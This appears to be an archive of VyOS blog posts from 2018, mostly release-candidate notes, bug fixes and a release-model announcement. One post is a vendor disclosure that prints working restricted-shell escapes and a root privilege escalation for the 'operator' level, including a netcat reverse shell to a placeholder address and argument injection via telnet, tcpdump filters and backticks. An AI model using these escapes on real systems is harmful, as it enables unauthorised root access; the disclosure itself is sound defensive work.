VyOS - Blog

VyOS 1.2.0-rc10 is available for download

daniil@sentrium.io (Daniil Baturin) — Tue, 04 Dec 2018 15:42:58 GMT

VyOS 1.2.0-rc10 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc10

Resolved issues

The following issues have been fixed:

If you save your configuration on a system booted from a livecd, you will be offered to copy it to the installed image (T1047).
EFI GRUB can now be installed in a removable location (T1023).
The "run show vpn ipsec sa" command now works correctly for SAs with non-zero traffic counters (T956).
IPsec SA in/out traffic counters are not displayed in human-readable units (T956).

Issues that need testing

We have a bunch of issues that need testing. Please tell us if the following features work for you, or help us figure out a reproducing procedure! We need to make sure they are resolved before we make a stable 1.2.0 release, but we are either unable to reproduce them because they are hardware-specific and we don't have required hardware anywhere; or we cannot reproduce them using the provided procedure, which may mean either that the procedure is incomplete, or that the bug is already fixed.

Kernel crashed under (network) load with gen5 Mellanox cards (T1014).
Broken 6rd tunnel implementation (T1000).
Problem with Intel XL710 NICs (T961).
L2TPv3 interfaces sometimes not loaded on boot (T942).
OSPF process crashing on peer reboot (T922).
BGP process doesn't start on boot (T904).

Additionally, we would like to know if DMVPN and SNMP integration with routing protocols are working well for you. If you've seen any of those issues, or, to the contrary, you can confirm that you've never seen them, please let us know.

VyOS 1.2.0-rc9 is available for download

daniil@sentrium.io (Daniil Baturin) — Mon, 26 Nov 2018 20:40:14 GMT

We are getting closer and closer to the stable release. There are still bugs for a couple more release candidates, and some features we need to get in, but generally the time of spectatular updates in the 1.2.0/crux branch is almost over—all big things will be going on in the new 1.3.0/equuleus branch soon. The new release candidate is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc9

Software updates

The kernel has been updated to the most recent 4.19.4 release. It includes multiple fixes in drivers, so tasks related to drivers like this one about Mellanox card causing a crash under load (T1014), or those about Intel cards (T986, T961) should be re-tested.

This kernel also removes the original SPECTRE vulnerability mitigation code that had a big performance impact. We'd like to hear about your experience in this regard.

We have also included the Hyper-V daemons package. If you are running VyOS on a Hyper-V host, please let us know if it works well for you.

As usual, FRR has been updated to the latest master as well.

Bugfixes

The "protocols bgp ... address-family ipv4-unicast redistribute ospf" works again (T1034).
Set-time validation rules for OSPFv3 areas does not allow decimal notation anymore, since it was never allowed by Quagga or FRR (T981).
PPPoE server help strings and autocompletion have been improved.
The ofed-scripts package (a remnant of the official Mellanox drivers) is removed from the image since we are using kernel built-in drivers now.
Package lists for the image build now correctly include aptitude which is needed for the grub-efi package fetching, so you should be able to build images yourself without problems again. Sorry it's been broken for a while!

Contributor subscriptions

Since the moment we've published the pre-registration form, we have received a number of LTS subscription requests from our veteran contributors, and people who have joined VyOS recently. We are still working on the subscriber portal, but we'll make sure to send everyone a notification when the 1.2.0 LTS release, and the portal are ready. When the portal is ready, contributors will be able to register directly.

If you have been or are contributing to VyOS, you can find the form here.

Upd

Originally the image was accidentally uploaded with broken wireguard package, but the issue is resolved now, thanks to Kroy who identified the issue and notified us quickly.

VyOS release model change

daniil@sentrium.io (Daniil Baturin) — Fri, 23 Nov 2018 03:59:22 GMT

Now that we are approaching the 1.2.0 LTS release, it's time to make a big announcement. Perhaps we should have made it earlier, but we've been too busy coding.

There are two distinct categories of VyOS users. The first category is people who want the latest features even at cost of stability. These are mostly networking geeks who run it in their home networks and network labs and open source developers, though some businesses are also happy with this approach. The second category is people who need or want stability. There are of course people who want both too, but we have to accept that these goals are contradictory at least some of the time.

This is common for all software projects, but with VyOS, more people seem to belong to the second category. Every once in a while someone asks on the channels and the forum whether they can update an extremely outdated VyOS (or even Vyatta Core) version to the latest release. We also hear from people frequently that they are not going to even try 1.2.0 until it reaches the stable status.

It's quite obvious by now that the single release model is not fitting for this situation. With 1.2.0, people who contributed new features had to wait a long time for their code to appear in any non-nightly build image because other people, mainly the maintainers, have been working on tearing the codebase off of the outdated Debian release, reworking the foundations, and hunting bugs. This is frustrating for contributors and even created the appearance of the dead project at some point. It also means that new code doesn't get to people enthusiastic to test it nearly as fast as it should.

On the other hand, while we have an active community of people who send us patches and report bugs, the community is very small compared to the entire user base. The number of people who contributed patches is easy to measure so I did it out of curiosity: the largest submodule, vyatta-cfg-system, has less then 50 unique names in its commit log starting from the project start date, which means less than 50 people contributed to it in five years. The number of active testers isn't much higher. For comparison, the 1.1.8 images get thousands of downloads every month and the wiki documentation gets thousands of views too. To make it easier for people to contribute, there's a lot of work to be done: reworking the foundational libraries, getting rid of poorly written legacy code, and so on, and focused effort (which means human-hours) is required to break the cycle.

Maintaining stable releases is one of the hardest parts, but that burden falls on a disproportionately small number of people, while most of the business users who are the main consumers of stable releases do nothing to advance the project. This is not a healthy or sustainable situation. Someone needs to pay the bills.

The new release model

First, there now will be two release lines: rolling release and long-term support releases.

The rolling release images will be (roughly) monthly snapshots of the "current" branch, with all latest pull requests merged in. They will be tested to successfully boot and load a sample config. The target audience is the people who want the latest features (even if they are not working perfectly yet). People who send us pull requests can be sure their contribution will be available to themselves and willing testers in a reasonable time. Since in VyOS it's easy to revert to the previous version if something goes wrong, the rolling release should be good enough for non-critical production use, since you can always go back to a working version at the end of the maintenance window and report the findings.

The long-term support versions will be maintained for at least two years from the release date. They will undergo extensive testing by the maintainers, and receive backported bugfixes and security updates until they reach an EOL, with a possibility of receiving extended support by special agreement. It is meant for enterprises and service provider users.

Unlike the rolling release images, binary LTS images will be only available to people who help the project move forward, either by contributing their time or their money. We are not going to compromise the free software ideals: you will always be able to build LTS releases yourself.

The LTS images will be available at no cost to all people who contribute to VyOS. Every kind of contribution counts:

Writing code
Testing release candidates and rolling/nightly build and reporting bugs
Writing documentation
Promoting VyOS in blogs, social networks, and at conferences
Everyone who contributed before the release of 1.2.0 LTS version will get a perpetual subscription. People who will have joined later will need to be active within the last year to maintain their subscription (the required activity level is yet to be determined, but it will require substantial and non-trivial changes, i.e. not just typo fixes). Companies who allow their employees to work on VyOS during working hours or specifically pay their employees or contractors to work on code that is meant for the mainline VyOS or produces open source integration tools will be able to get a corporate subscription if those employees/contractors confirm it.

We are also happy to provide subscriptions to contributors of all projects that VyOS uses, such as FRR, netfilter, OpenVPN, StrongSWAN, and many others.

Companies who simply want to use stable, long-term support releases without making technical or social contributions to the project will have to purchase a binary image subscription (you pay for access to ready-made images, not software licensing as such).

All money received from the paid subscriptions will be used to fund VyOS development, including paying the salaries of the VyOS maintainers who work at Sentrium, hiring/contracting developers from the community, expanding the project infrastructure, and supporting our upstream projects.

If you have contributed to VyOS, you can register right now using this form. We will post the details of the commercial offer and pricing later, stay tuned.

P.S.

Back in 2013, I said that there will never be a "VyOS Subscription Edition". Technically I lied, but it was said from a very different perspective. At the time we hoped that now that VyOS is open for everyone's contribution, a large contributor community will form and many of the corporate users who used to use the old project will contribute to it willingly, sponsor its development, or purchase support subscriptions; in practice very few of them did. That approach didn't work, but switching our AWS Marketplace offer from free of charge to paid has become the first reliable funding source for the project and already allowed us to add support for more cloud platforms, as well as rework some of the fundamentals of VyOS to make it easier to contribute to.
I hope continuing this line and introducing the rolling release will create a model that is more beneficial for the project and more fair towards its contributors.
Just to clarify, VyOS is neither going to hide the toolchain required to build LTS releases yourself nor going open core. Those part of the original plan do and will stay the same.

VyOS 1.2.0-rc8 is available for download

daniil@sentrium.io (Daniil Baturin) — Mon, 19 Nov 2018 21:29:05 GMT

A new release candidate, 1.2.0-rc8 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc8

As usual, it offers a few bugfixes, but also some last moment additions we wanted to make before the code freeze.

New features

PPPoE based on accel-ppp

https://accel-ppp.org/ is a high performance implementation of the PPP protocol itself and multiple protocols based on it, including PPPoE, PPTP, and L2TP that has become very popular with service providers.

To make VyOS a better option for access concentrators, we (and by "we" I mostly mean our contributor hagbard!) rewrote the PPPoE scripts to use accel-ppp instead of rp-pppoe.

No other protocols are reimplemented yet, but we are considering that option. Reimplementing PPTP can be challenging because the kernel module that accel-ppp uses for it conflicts with ip_gre (which is used for normal GRE tunnels as well as PPTP in the current implementation), but L2TPv2 should be doable.

The configuration syntax of the new PPPoE implementation is fully compatible with the old one, save for the RADIUS key option that is handled by a migration script, so your old configuration should work as expected if you used PPPoE server in older releases.

Saltstack integration

This project has existed for quite a while, and even accidentally made it to one of the earlier release candidates, but we never made it official. Now it should be stable enough to be included in an image.

Salt is a popular configuration management project. There is already VyOS support in Ansible, so why not expand our support for automation platforms?

Unlike Ansible, Salt needs an agent package on the target system. The minimal configuration required to make it work is "set service salt-minion master 192.0.2.1" (where 192.0.2.1 is the Salt master server address).

Hop limit matching in IPv6 firewalls

Thanks to a patch by Ray Patrick Soucy, it's now possible to match on hop limit in IPv6 firewall rules (T573).

The command is "set firewall ipv6-name Foo rule 10 hop-limit" and can have one of the following options: "eq $num" (equals exactly), "gt $num" (greater than) and "lt $num" (less than).

BGP interface option for link-local peer sessions

It is now possible to specify the interface to be used for a session in BGP (T941) with a command "set protocols bgp 64512 neighbor 192.0.2.10 interface eth0". This should allow using IPv6 link-local addresses for peer sessions.

Multipath routing options

New kernel versions include a few improvements in multipath routing. By default, the kernel only uses network layer information to bind connections to next hops, but now it's possible to make it also use transport layer information (e.g. TCP or UDP ports) for that decision with these commands: "set system ip multipath layer4-hashing", "set system ipv6 multipath layer4-hashing" (T992).

There's another command that is (so far at least) IPv4-specific: "set system ip multipath ignore-unreachable-nexthops". It makes the kernel exclude next hops with unreachable ARP from routing decisions.

Bug fixes

Obsolete "dynamic" option was removed from NTP (T1018).
It is now possible to restart the DHCP relay agent (T1016).
Conntrack helper is now enabled by default (T1011).
Validation rules for 6rd tunnels have been corrected, now it should be borderline usable (T1000).
Fixed dynamic DNS requests over HTTP (T983).
Fixed DNS forwarding service not listening on IPv6 address (T974).
immark module is now enabled in syslog (T940).
Console device speed option should now modify the GRUB config correctly (T969).
Is it now possible to disable the in-memory table netflow plugin (T458).
OSPF LS update sending on a flapped interface seems to have been automatically solved by migration to FRR (T409).

Bug that need verification

Some people reportes that Intel XL710 network cards do not work, but that was before we updated the kernel to 4.19 (T961). It needs re-testing on rc7 or rc8.

This kernel also needs more testing with fifth generation Mellanox cards.

VyOS 1.2.0-rc7 is available for download

yuriy@sentrium.io (Yuriy Andamasov) — Mon, 12 Nov 2018 20:24:31 GMT

Yet another release candidate, with more bug fixes and some experimental features. We are grateful to everyone who reported these bugs and sent us patches for them!

The ISO image is available for download here

New features

RADIUS client source IP in remote access VPN

It is now possible to set the source IP with a command like "set vpn l2tp remote-access authentication radius source-address 192.0.2.10".

UEFI support

Thanks to joined efforts of our contributor Kroy the Rabbit and the maintainers, VyOS has got experimental support for installation and boot on UEFI platforms.

Since UEFI-only boxes started to enter the market lately, it makes a perfect last moment addition, but as any big change, it needs testing. If you have hardware that uses UEFI, please try it out and let us know if it works well for you.

If your machine is using UEFI boot, the installer will detect it automatically and create a GPT partition table and an UEFI partition rather than MBR, so for the users this new feature should be seemless.

Bug fixes

Updates to the latest kernel and the latest FRR seem to have resolved a number of tasks automatically, namely: an issue with route-map interface close not working for all protocols (T524), packet loss in some Xen environments including AWS (T935), support for the Denverton SoC (T946).

Fixes in BGP commands

Thanks to our community, we have identified a few more BGP commands whose migration to the new "address-family ipv4-unicast" syntax was incomplete. IPv4 prefix lists should now work correctly (T968), and so should "soft-reconfiguration inbound" (T982).

FRR syntax changes

While FRR has brought us a lot of improvements, it also has a small number of incompatibilities.

A syntax change in the "as-path-exclude" route-map option made it impossible to delete the clause or entire route-map, until we fixed it (T991).

Another change is only planned, but already has deprecation warnings that are quite annoying (T964). We have fixed most of them, except in the "policy community-list" commands. The final bit is blocked by an issue in the new FRR commands that are supposed to replace the old ones, so until it's fixed you will get a warning when deleting or modifying community-lists. The warning is harmless, and we will fix it and also update op mode commands once the FRR developers fix their part.

Wireguard

A couple of issues with the wireguard CLI have been fixed. One was that you could not use whitespace inside wireguard interface descriptions (T979). The other issues would leave the VyOS CLI and the actual wireguard configuration in an incosistent state (T965). Thanks to our contributor hagbard, the issues have been resolved.

Misc

Removing a user with a "delete system login user" command now correctly deletes home directories, eliminating the possibility that the same home directory can be reassigned to a new user with a different UID and thus no write permissions for the original directory (T740).

Authentication/authorization logs should now work as expected again (T963).

The installer now allows installation on NVM Express SSD devices /dev/nvme* (T967). The patch was contributed by Brooks Swinnerton.

The "run monitor bandwidth-test initiate" command works again (T994).

The "| strip-private" pipe now correctly obscures "pre-shared-secret" options (T999).

The "hostfile-update" DHCP server option should now work again (T976).

VyOS 1.2.0-rc6 is available for download

daniil@sentrium.io (Daniil Baturin) — Tue, 06 Nov 2018 23:54:41 GMT

As usual, every week we make a new release candidate so that people interested in testing can test the changes quickly and people who reported bugs can confirm they are resolved or report further issues.

VyOS 1.2.0-rc6 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc6

It includes a small but significant number of bugfixes and a couple of removed commands.

Package updates

VyOS 1.2.0-rc6 uses the Linux kernel 4.19.0. The 4.19 kernel will be the next LTS version, it should be a good kernel to stick with for the lifetime of the 1.2.0 release.

The 4.18 kernel was quite buggy, and 4.14.75 had annoying bugs with small packets causing packet loss in Xen that was solved in later versions.

This image also uses built-in drivers for Mellanox cards rather than those built from the official tarball, since they do not build for newer kernels yet. If you are using one of their fifth generation cards, let us know if it works for you.

Wireguard issues

Issues with creating multiple wireguard interfaces (T949) and with wireguard interfaces disappearing after reboot (T943) have been resolved.

Issues with removing long format IPv6 addresses from interfaces

It was always possible to use long format of IPv6 addresses, with leading zeroes, like 2001:db8:0:0:0:0:0:1/64 (T288), but it was impossible to delete them without rebooting the router because iproute2 does compacts addresses at set time and doesn't recognize the short and long forms as the same address. We've added a workaround for it and it should no longer be a problem.

Import route-map not set for IPv4 BGP peer groups

There was an issue with setting import route-map for IPv4 peer groups (T924). I have to admit I simply forgot to convert one of the commands to the new "address-family ipv4-unicast" syntax, so the path existed in the CLI, but was never passed to FRR correctly. Now it should work as expected.

New command for checking VyOS installation integrity

If you, like me, can never remember if you are running a stock image or a modified installation, this is for you.

dmbaturin@vyos:~$ show system-integrity

The following packages don't fit the image creation time:

build time:     2018-11-06 01:28:00

installed: 2018-11-06 01:44:28  vyos-1x

It only shows is any packages were installed on top of the image, and not whether any files were modified, but that's better than nothing.

Removed commands

The "run show vpn debug detail" operational mode command was removed because it was based on a script that StrongSWAN no longer provides, and reimplementing it is probably more trouble than it's worth since it just aggregates information already available in the logs and output of other commands.

We have also removed the "set service dhcp-relay relay-options port" command. The DHCP RFC nowhere says that servers or relays MAY use a port other than UDP/67, and almost no clients support alternative ports either, so this option hardly has any practical value. If you used to use it, it will disappear from your config. If you actually need it, please tell us about your use case.

The "operator" level is proved insecure and will be removed in the next releases

daniil@sentrium.io (Daniil Baturin) — Thu, 01 Nov 2018 19:37:42 GMT

The operator level in VyOS is a legacy feature that was inherited from the forked Vyatta Core code. It was always relatively obscure, and I don't think anyone really trusted its security, and for good reasons: with our current CLI architecture, real privilege separation is impossible.

Security researcher Rich Mirch found multiple ways to escape the restricted shell and execute commands with root permissions for the operator level users. Most of those would take a lot of effort to fix, and it's not clear if some of those can be fixed at all. Since any new implementation of a privilege separation system will be incompatible with the old one, and leaving operator level in the system is best described as "security theater", in the next releases that feature will be removed and operator level users will be converted to admin level users.

We will use the "id" UNIX command for demonstration since it's harmless but is not supposed to be available for operator level users. Here are proofs of concept for all vulnerabilities reported by Rich:

Restricted shell escape using the telnet command

Proof of concept:

user1@vyos> telnet "127.0.0.1;bash"

telnet: can't connect to remote host (127.0.0.1): Connection refused

# we are now in real, unrestricted bash
user1@vyos> id

uid=1001(user1) gid=100(users) groups=100(users),...

This problem could potentially be fixed, but since there's no way to introduce global input sanitation, every command would have to be checked and protected individually.

Restricted shell escape using the "monitor command" command

The "monitor command" command allows operator level users to execute any command. Using it in combination with netcat it's possible to launch an unrestricted bash shell:

user1@vyos> monitor command "$(netcat -e /bin/bash 192.168.x.x 9003)"
Connection from 192.168.x.x:59952

id

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

hostname

vyos

Restricted shell escape using the traffic dump filters

user1@vyos> monitor interfaces ethernet eth0 traffic detail unlimited filter "-w /dev/null 2>/dev/null & bash"

Capturing traffic on eth0 ...
id

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

Restricted shell escape using backtick evaluation as a set command argument

user1@vyos> set "`/bin/bash`"
user1@vyos> id >/dev/tty

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

This one is special because there may not be a way to fix it at all.

Local privilege escalarion using pppd connection scripts

Operator level users are allowed to call pppd for the connect/disconnect commands. Since pppd is executed with root permissions, a malicious operator can execute arbitrary commands as root using a custom PPP connection script.

user1@vyos> echo "id >/dev/tty" > id.sh

user1@vyos> chmod 755 id.sh
Execute the id command as root using the sudo /sbin/pppd command.
user1@vyos> sudo /sbin/pppd connect $PWD/id.sh

uid=0(root) gid=0(root) groups=0(root)

VyOS 1.2.0-rc5 is available for download

daniil@sentrium.io (Daniil Baturin) — Mon, 29 Oct 2018 17:50:49 GMT

As the tradition dictates, the new weekly release candidate is available for download

Package updates

The following packages have been updated:

Linux kernel to 4.14.75
Mellanox network drivers to 4.4

Bug fixes

SNMP integration with routing protocols

The last bit configuration that is required for it to work is in now, and it should work as expected again. If it doesn't work for you, let us know!

VRRP not working in unicast mode when the RFC-compatible mode is selected

In T933 it was reported that if you configure VRRP in unicast mode and choose to use virtual MACs (RFC compatible mode), both nodes become masters. Now the config option required for this to work is inserted into keepalived config.

DHCP relay now handles the port option correctly

As reported in T938, DHCP relay would not handle the port option correctly. Now it does.

Tag nodes with whitespace

As reported in T253, it was possible to create a tag node with whitespace in its name (e.g. "set system login user "foo bar" authentication..."), but such configs would not be parsed correctly if you try to load them back.

In most cases attempts to create such nodes should be blocked at the syntax validation level, but since old configs with such nodes may exist, and it is impossible to disallow doing that completely at the set command level, we've added support for quoting such nodes properly in the code responsible for displaying and saving configs. Now such configs will load at least partially and produce more descriptive errors when disallowed by individual command syntax.

Commit archive problem with edit levels

As reported in T570, changing the edit level caused the commit archive feature to save only the config at that level to the remote server, for example, if you did "edit interfaces", the archived config would contain nothing but the interfaces subtree.

It was caused by erroneous omission of the option that makes cli-shell-api output the entire config regardless of the edit level and should be fixed now.

The "run monitor traffic interface ... filter" commands now has full support for tcpdump filters

As reported in T931, commands like "run monitor traffic interface eth0 filter ''src 192.0.2.1 or dst 203.0.113.10" would fail. Now the simple mistake that caused it is fixed and such commands should work again.

Compatibility notes

Username restrictions

Related to the whitespace issue, some commands had overly permissive syntax. The "system login user" username format has been restricted to the POSIX portable characters and length below 100 now (that's alphanumeric characters, underscores, hyphens, and dots). If usernames do not conform to the undeniably portable format (alphanumeric and underscores/hyphens only), you will receive a warning.

There may be old configs with unusual usernames, and they now may fail to load. If you run into issues with that restrictions, let us know.

The "inspect" action in firewall rules no longer exists

The "inspect" action was once used for the IPS/IDS functionality, but the IDS (it was Snort) was removed long before VyOS was forked from Vyatta. The now useless action, however, persisted.

Now we have removed it. We think the chance to see it in a real config is very low, and this should have no impact, but if you run into problems, leave a note in T59, and we'll make a migration script.

In other news

The 1.2.0/Crux repositories are now fully separated from the "current" branch repositories, in preparation for the LTS release. This reopens the "current" branch for experimental and potentially unsafe changes so that we can start working on new big rewrites, migration to newer Debian and other things required for the future 1.3.0 release.

VyOS 1.2.0-rc4 is available for download

daniil@sentrium.io (Daniil Baturin) — Thu, 25 Oct 2018 14:18:45 GMT

VyOS 1.2.0-rc4 release candidate is available for download from here

The release includes multiple bug fixes and a few small features.

You can view the complete changelog here.

Here are some highlights:

Bugfix: SNMP and routing protocols

Due to a change in FRR compared to our old Quagga, SNMP support for routing protocols had been broken for a while. Now it should work again.

Bugfix: BGP community lists

Due to another change in FRR, we've had an annoying bug that made it impossible to edit BGP community list rules after creation (T799).

For now it was fixed using a dirty hack that may slow down community list editing operations somewhat, and the root cause was reported to FRR maintainers. Once they fix it, we can remove the hack easily.

Feature: BGP extended community lists

Support for extended community lists was supposed to be there for a long time, but in reality the commands were broken (T64).
The bug in community lists editing helped us discover that issue, and the commands were fixed.

Here is an example of that feature's syntax:

# show policy extcommunity-list ExctcommunityExample

 rule 10 {

     action permit

     regex 100000:999

 }

 rule 30 {

     action deny

     regex ^$

 }

[edit]

# show policy route-map ExtcommunityExample

 rule 10 {

     action permit

     match {

         extcommunity ExctcommunityExample

     }

 }

Please test is and tell us if it works fine for you.

SSH allow-root option

The "service ssh allow-root" is no longer supported. It will be automatically removed from configs first time the upgrade image boots.

It's a common wisdom that logging in as root is not a good idea. We believe this change is going to have a very limited impact at best. One objection was that automation tools may need it, but all modern tools such as ansible are capable of elevating privileges properly with sudo.

However, if your automation setup is using it, please take it into account. You still have time to do it before 1.2.0 LTS is released.

New drivers and utilities

VyOS now includes updated firmware packages, in particular, new firmware for Broadcom cards that were reported not to work in T708.

The image also includes a few popular diagnostic tools by default, such as htop, atop, and iotop.

VyOS 1.2.0-rc3 is available for download, with BGP large communities and new bugfixes

daniil@sentrium.io (Daniil Baturin) — Mon, 15 Oct 2018 14:18:56 GMT

VyOS 1.2.0-rc3 release candidate is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc3

Thanks to all people testing release candidates, more bugs were uncovered and fixed. But this release also includes a new feature, that was made possible by migration away from our outdated Quagga, namely:

BGP large communities

Since we are using FRR rather than an outdated Quagga version now, we could finally add CLI support for a long requested feature: large communities. Now that RIRs are out of 32-bit AS numbers, it's more relevant than ever.

The syntax is very simple and similar to that of community-lists:

set policy large-community-list Foo rule 10 action permit
set policy large-community-list Foo rule 10 regex 4000000:33333:4444
set policy large-community-list Foo rule 20 action deny
set policy large-community-list Foo rule 20 regex '^$'

set policy route-map Bar rule 10 action permit
set policy route-map Bar rule 10 match large-community large-community-list Foo

set policy route-map Quux rule 10 action permit
set policy route-map Quux rule 10 set large-community 90000:555:111

Note that there are no well-known communities such as "no-export" here, unlike in the classic communities. I also decided not to implement support for "standard" (numbered) large-community-lists and only include "expanded" (named) lists.

Now to the bug fixes.

Directly connected interface-routes

Some hosting providers, for example, Online.net, use an unusual configuration with /32 host addresses, where you are supposed to create an interface-based route to the default gateway address and then create a default route via that address.

While this configuration is against the classic networking common sense, and I'm not a fan of it, it's technically perfectly valid and increasingly common. The Linux kernel network stack uses a "you asked for it, you get it" approach and allows you to do any crazy things, which sometimes turn out surprisingly useful. Our old Quagga, however, would treat such routes as unreachable because the next hop address is not from the same network as assigned on the interface — sound reasoning, but in this situation it was wrong.

The only way to make it work was to add an iproute2 command to the postconfig script, which is cumbesome. Migration to FRR seems to have resolved that issue though. This configuration appears to work fine in my lab:

set interfaces ethernet eth1 address 192.0.0.2.10/32

set protocols static interface-route 203.0.113.1/32 next-hop-interface eth1

set protocols static route 0.0.0.0/0 next-hop 203.0.113.1

This is what the route table looks like: the 203.0.113.1/32 route is treated as directly connected.

vyos@vyos# run show ip route

...

S>  0.0.0.0/0 [1/0] via 203.0.113.1 (recursive), 00:00:03

  *                   via 203.0.113.1, eth1 onlink, 00:00:03

C>* 192.0.2.10/32 is directly connected, eth1, 00:00:03

S>* 203.0.113.1/32 [1/0] is directly connected, eth1, 00:00:03

And this is what it looks like in the kernel:

vyos@vyos# run show ip route forward

default via 203.0.113.1 dev eth1 proto static metric 20 onlink

192.168.56.0/24 dev eth0 proto kernel scope link src 192.168.56.13

203.0.113.1 dev eth1 proto static metric 20

If you are using online.net or another hosting provider that uses this scheme, please test it and tell us if it works for you without workarounds.

Fixes in bridging and tunnels

Thanks to Kroy from the forum, we tracked down and fixed a few bridging bugs that had been there for a long time but no one noticed.

The first bug was that the system allowed you to remove a bridge that still has active members (T898). Even with that bug fixed, you still could not remove a tunnel interface from a bridge because its own script was faulty (T900).

Both are now fixed, but there are still issues in that script: STP cost and priority options are not functional. We may fix it in the next release candidate.

Additionally, OpenVPN interfaces could not be added to bridges due to a brctl syntax change, as reported by afics in T884. This should also be fixed now.

Image signature check failure confirmation

Armin Fisslthaler (afics) noticed a particularly embarassing bug: when the installer fails to verify image GPG signature (due to missing key or otherwise), it asks if you want to proceed, and suggests that the default option is "No", but if you just hit Enter, it proceeds instead of exiting ( T885).

Ewald van Geffen took the time to fix that conditional and now it should no longer haunt us.

Missing release key in the image

Speaking of which, the VyOS release key is now included in the image and signature check should no longer fail.

More fixes

Corrected the syntax for deleting IPv6 next-hop (T800, fix suggested by Merjin).

IPv6 next-hop local value is now validated at set rather than commit time (T897).

Known issues

VyOS 1.2.0-rc2 is available for download, with fixes to wireguard and PBR

daniil@sentrium.io (Daniil Baturin) — Tue, 09 Oct 2018 19:15:42 GMT

The second release candiate is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc2

We are happy to see so many people test the release candidates! Some bugs were already found and fixed, and we are working on some more bugs found since the release of 1.2.0-rc1. To make already completed fixed available, we are making the second release candidate.

Resolved issues

Wireguard module not loading (T881).
PBR routes leaking into other tables (T882).
Unhandled exception in the wireguard op mode (T883).

Known issues

Fail to add an OpenVPN to a bridge group if cost is not specified (T884, let us know if you also see it).
commit-confirm doesn't cancel reboot properly (T870).
The GPG key for release builds is not included in the image

Stay tuned for the rc3!

First VyOS 1.2.0 release candidate is available for download

daniil@sentrium.io (Daniil Baturin) — Mon, 08 Oct 2018 16:49:00 GMT

This month, the VyOS project turns five years old. In these five years, VyOS has been through highs and lows, up to speculation that the project is dead. Past year has been full of good focused work by the core team and community contributors, but the only way to make use of that work was to use nightly builds, and nightly builds are like a chocolate box a box of WWI era shells—you never know if it blows up when handled or not. Now the codebase has stabilized, and we are ready to present a release candidate. While it has some rough edges, a number of people, including us, are already using recent builds of VyOS 1.2.0 in production, and now it's time to make it public.

VyOS 1.2.0-rc1 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc1

VyOS 1.2.0 (Crux) is the feature expansion release based on Debian Jessie. The release candidate will be the basis for the future long term support release. You can read the full release notes at https://wiki.vyos.net/wiki/1.2.0/release_notes

New features include:

Wireguard support
PPPoE server
mDNS repeater and broadcast relay
Support for IPv6 VRRP and unicast VRRP operation
NPTv6
Standards-compliant QinQ ethertype option
Python APIs for accessing the running config and writing migration scripts (replacements of the Perl Vyatta::Config and XorpConfigParser)
New XML-based command definitions
New build system that makes it easy to create custom builds with additional repositories and packages
SR-IOV support for Intel and Mellanox cards

The following features have been removed:

Telnet server
p2p filtering

While the base system if Debian Jessie, multiple packages have been updated to much newer versions, for example, the 4.14.65 kernel, StrongSWAN 5.6, and keepalived 2.0.5.

Additionally, our old Quagga has been replaced with FRR, which opens a way to adding support for many more protocols, including multicast routing.

Known issues

Some people reported issues with DMVPN in hub mode (T848).

Some people report an issue with routers responding to all ARP requests when VTI is enabled (T852).

If you use DMVPN or VTI, you may either help with testing and debugging those issues, or wait until the issues are confirmed to be resolved.

What's next

VyOS 1.2.0 will become the LTS release after one or more release
candidates.

We are preparing a release model change that will involve
splitting VyOS into an LTS branch a (roughly) monthly rolling release made from the latest
code from the current branch. Both branches will be entirely open source, but while the rolling release builds will be available free of charge to everyone, the LTS ISO image builds will be only available to those who either contribute to VyOS (code, documentation, and community activities all count) or purchase a subscription. There will always be an option to build the LTS image entirely from source or using package repositories at dev.packages.vyos.net, though commercial support will only be provided for official builds, or by special arrangement.

We are also working on new commercial support plans and pricing models.

The current branch will now be used for developing 1.3.0. Top priorities for 1.3.0 include migration to the next Debian release and rewriting more legacy code to enable better testing and easier addition of new features.

In a sense, VyOS 1.2.0 was a test whether the project can exist
independently or not. While 1.1.x was an incremental expansion of the
last Vyatta Core release, development of 1.2.0 coincided with mainstream
Linux distributions switching to systemd, many packages such as
StrongSWAN making big incompatible changes, and parts of VyOS itself
reaching the point when bugs could no longer be fixed without a complete
rewrite. The build system also had to be rewritten from scratch.

A lot of work went into developing the new infrastructure for Python rewrites, including the new system of command definitions and required libraries. By now a a few components including SSH, SNMP, cron, and DNS forwarding have been rewritten in the new way, and the rewrite movement is gaining momentum.

Let's test and polish the 1.2.0 release, and keep working on making VyOS a better, more easily maintainable platform in the future 1.3.0 release.

VyOS development news in August and September

daniil@sentrium.io (Daniil Baturin) — Sun, 16 Sep 2018 18:39:00 GMT

Most importantly: all but one blockers for the 1.2.0 release candidate are now resolved. Quite obviously, for the release candidate, we want all features that worked in 1.1.8 to work fully.

New release naming scheme

While we are at it, I'd like to announce a small cosmetic change. Until now, our release branches were named after chemical elements. This naming scheme is getting a bit too common though (OpenDayLight is a well known example, but there are more), we decided to change it to something else to avoid confusion and be a bit more original.

The new branch theme is constellations sorted by area (in square degrees), from the smallest to the largest. The 1.2.0 release will be named Crux. Crux, also known as the Southern Cross, is a small but bright and iconic constellation that is depicted on flags of many countries of the southern hemisphere, such as Australia and New Zealand.

The 1.3.0 release will be named Equuleus, which is the latin for little horse (no relation to My Little Pony).

Migration to FRR from Quagga

We have resolved most of the migration problems and latest nightly builds already use FRR instead of our aged Quagga.

It will open a path to implementing many new protocols and features, such as BFD, PIM-SM, and more. What kept us from migrating was lack of support for multiple routing tables, which we need for PBR. FRR added it recently, and by now the last known issue that blocked migration (routes from the default table unintentionally leaking into non-default tables) has been resolved, so we finally can migrate without losing any features.

While I do feel somewhat uneasy about licensing of certain daemons, that are included in the source tree but use a permissive open source license even though they are linked against GPL libraries, we do not believe there's a GPL violation in it as long as the license of the binary package is GPL. Not sharing a modified source code of those daemons with users of the binary package would be a GPL violation, but we keep all source code of every VyOS component public.

New BGP address-family syntax

This is still in the works, but it will make it to the nightly builds soon.

